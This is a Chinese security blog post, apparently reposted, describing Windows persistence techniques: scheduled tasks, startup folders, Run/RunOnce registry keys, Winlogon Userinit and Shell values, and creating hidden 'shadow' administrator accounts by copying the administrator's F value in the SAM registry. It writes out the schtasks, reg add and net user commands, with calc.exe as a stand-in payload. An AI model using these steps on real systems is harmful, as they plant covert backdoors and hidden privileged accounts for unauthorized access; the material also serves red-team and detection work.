windows权限维持几种方式

admin 2024年1月11日10:23:38评论25 views字数 4375阅读14分35秒阅读模式

一、计划任务   

Windows 计划任务是操作系统中的一项功能,允许用户安排在指定时间或事件发生时执行特定任务或脚本。通过使用计划任务,用户可以自动化重复性任务、定期运行维护脚本或执行其他计划的操作。有以下几种方式创建计划任务。

1、控制台执行

taskschd.msc

windows权限维持几种方式

windows权限维持几种方式

2、使用schtasks创建计划任务(早期版本使用at)

Windows 实现计划任务主要有 at 与 schtasks 两种方式,通过计划任务可以定时启动后门程序。at 适用于windows 2000、2003、xp,schtasks适用于windows >= 2003

at 15:30 /every:M,T,W,Th,F,S,Su C:windowstemptestxx.exe

windows权限维持几种方式

schtasks /create /tn "MyTask" /tr "C:windowstemptestxx.exe" /sc daily /st 12:00---创建    

schtasks /query /tn "MyTask"--查询

windows权限维持几种方式

/sc 制定计划任务类型 全名为schedule,类型由循环执行(每日、每周、每月、每小时、每分钟. minute hourly daily weekly monthly ),一次执行(once)。如 /sc daily

主要要把计划和任务区分开(一个是执行计划,一个是具体的执行)

/tn 指定任务名称。如/tn mytest

/tr 任务运行程序路径。如 /tr “c:xxxtest.exe”

/st任务开始具体时间。如 st 12:00

/sd 任务开始日期

/ed 任务结束日期

/ru 指定运行任务的用户

/rp 指定用户密码. ?

schtasks /create /sc daily /tn test2_calc /st 14:12 /tr C:WindowsSystem32calc.exe

Schtasks /run /tn test2_calc    

windows权限维持几种方式

3、使用powershell创建计划任务

windows权限维持几种方式

windows权限维持几种方式

windows权限维持几种方式

windows权限维持几种方式

4、注册表下创建计划任务

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionScheduledTasks

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionScheduledTasksMyTask

-TaskName (REG_SZ) : MyTask

-ApplicationPath (REG_SZ) : C:PathToYourProgram.exe

-Parameters (REG_SZ) : /your_parameters_if_any

-Creator (REG_SZ) : Administrator

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionScheduledTasksMyTaskSchedule

-StartTime (REG_DWORD) : 设定为十六进制格式的开始时间

-EndTime (REG_DWORD) : 设定为十六进制格式的结束时间

-Interval (REG_DWORD) : 设定为十六进制格式的时间间隔

此方式较为隐蔽

5、编写程序调用windows api创建计划任务

可以参考文档

https://learn.microsoft.com/zh-cn/windows/win32/taskschd/time-trigger-example--c---

二、启动文件夹          

放在启动文件夹内任意可执行文件都会被执行。

针对单一用户

win+ r输入:shell:startup

shell:startup

C:UsersxxxAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup

windows权限维持几种方式

针对整个系统(或者所有用户)

shell:common startup

C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp

需要管理员身份用户才可写入文件

同时也是需要任意一个用户登录之后才可执行

三、注册表启动项  

主要有注册表Run 、RunOnce,还有RunServices、RunServicesOnce

主要区别是run、runonce可以启动普通程序,而runservices、runservicesOnce需要程序注册为服务类型。    

Run和runonce区别是后者只会运行一次。

1、register直接创建

新建 数据类型为字符串RGE_SZ

注册表执行程序路径建议使用引号括住

windows权限维持几种方式

2、powershell创建

$registryPath = "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun" //系统所有用户使用

$registryPath = "HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun" //系统所有用户使用

PS C:UsersTom> $registryPath = "HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun"

PS C:UsersTom> $entryName = "test2_calc"

PS C:UsersTom> $entryValue = "C:WindowsSystem32calc.exe"

PS C:UsersTom> New-ItemProperty -Path $registryPath -Name $entryName -Value $entryValue -PropertyType String -Force

windows权限维持几种方式

3、cmd下创建

windows权限维持几种方式

/v 为注册表项名,这里就是启动项名

/t为注册表项值类型,REG_SZ 为字符串类型

/d 为数据值,此处为启动项执行程序路径位置

/f 暴力删除,无需确认

windows权限维持几种方式

reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce" /v testxxx/t REG_SZ /d "C:WindowsSystem32calc.exe"

reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce"

reg delete "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce" /v testxxx /f

4、使用windows api创建    

windows权限维持几种方式    

windows权限维持几种方式

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

如果不存在则需先创建,除此之外该启动运行,不能为简单的exe程序,必须是服务程序才行,否则无法运行成功。

Cmd命令

reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices" /v testxxx/t REG_SZ/d "C:WindowsSystem32calc.exe"

reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices" /v testxxx

reg delete "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices" /vtestxxx/f

四、用户登录脚本  

注册表项

HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon

其中两个值Userinit,和shell都可以额外添加运行程序

windows权限维持几种方式

注意shell键值可能会造成无法启动桌面,黑屏。

Userinit 或值可添加绝对路径,可以添加path路径目录下的程序文件。

Shell值只可添加添加path路径目录下的程序文件。    

windows权限维持几种方式

五、后门账号创建  

普通账号和影子账号

普通账号可以直接使用

net user namexxxpasswordxxx /add

net localgroup administrators namexxx /add

"Remote users" 远程桌面用户组

影子账号就是利用windows 用户名后以$结尾特性,使用net user命令无法查看到。但可以通过设备管理器或系统设置页面可以查看到,因此还需进一步处理,具体操作就是复制其他账号信息。具体步骤如下。

net user test1$ test1 /add

net localgroup administrators test1$ /add//可选

net localgroup "Remote desktop users" test1$ /add //可选    

windows权限维持几种方式

windows权限维持几种方式

第二步修改注册表

HKEY_LOCAL_MACHINESAMSAM 默认只有system用户才可查看修改,但管理员权限用户可重新分配权限,因此需先给当前用户分配足够权限进行查看修改,以下是给管理员组中所有用户分配完全控制权限。

windows权限维持几种方式

更改权限后可查看对应注册表项

windows权限维持几种方式

HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers

该项包含了一个Names子项(包含用户名和用户id对应的信息),以及以用户id命名的其他子项(包含用户具体信息)

windows权限维持几种方式

将需要隐藏的账号test1$对应的id子项(以上为0x3ea),将其中F值修改为需要复制的用户的F值,如administrator用户。注意一般administrator被禁用,同时也未加入远程桌面组,会导致无法登录远程桌面等情况。

下面直接复制administrator账号F值。

windows权限维持几种方式

然后保存需要隐藏账号的names下的子项,以及对应id项。直接导出。

然后删除隐藏账号test1$    

net user test1$ /delete. 删除后系统无该用户任何信息(包括注册表中对应用户项信息)

windows权限维持几种方式

windows权限维持几种方式

重新将导出的两个注册表项导入注册表。

windows权限维持几种方式

windows权限维持几种方式

因复制的administrator账号,被禁用且未在远程桌面用户组里面。

windows权限维持几种方式

因此有两种解决方法

1、将复制的账号administrator启用,并加入远程桌面用户组。    

此方法似乎未失效

windows权限维持几种方式

2、将隐藏账号,直接加入远程桌面用户组(缺点是,可能会在远程桌面用户组中被查看到)

同时该方式会创建隐藏账号的home文件夹。

windows权限维持几种方式

3、重新复制启用并在远程用户组的用户。    

windows权限维持几种方式

注意在计算机管理中仍可看到对应的账号test1$,无法正常删除。可以通过先删除注册表对应项删除。

windows权限维持几种方式    

原文始发于微信公众号(企业安全实践):windows权限维持几种方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月11日10:23:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows权限维持几种方式https://cn-sec.com/archives/2383160.html

发表评论

匿名网友 填写信息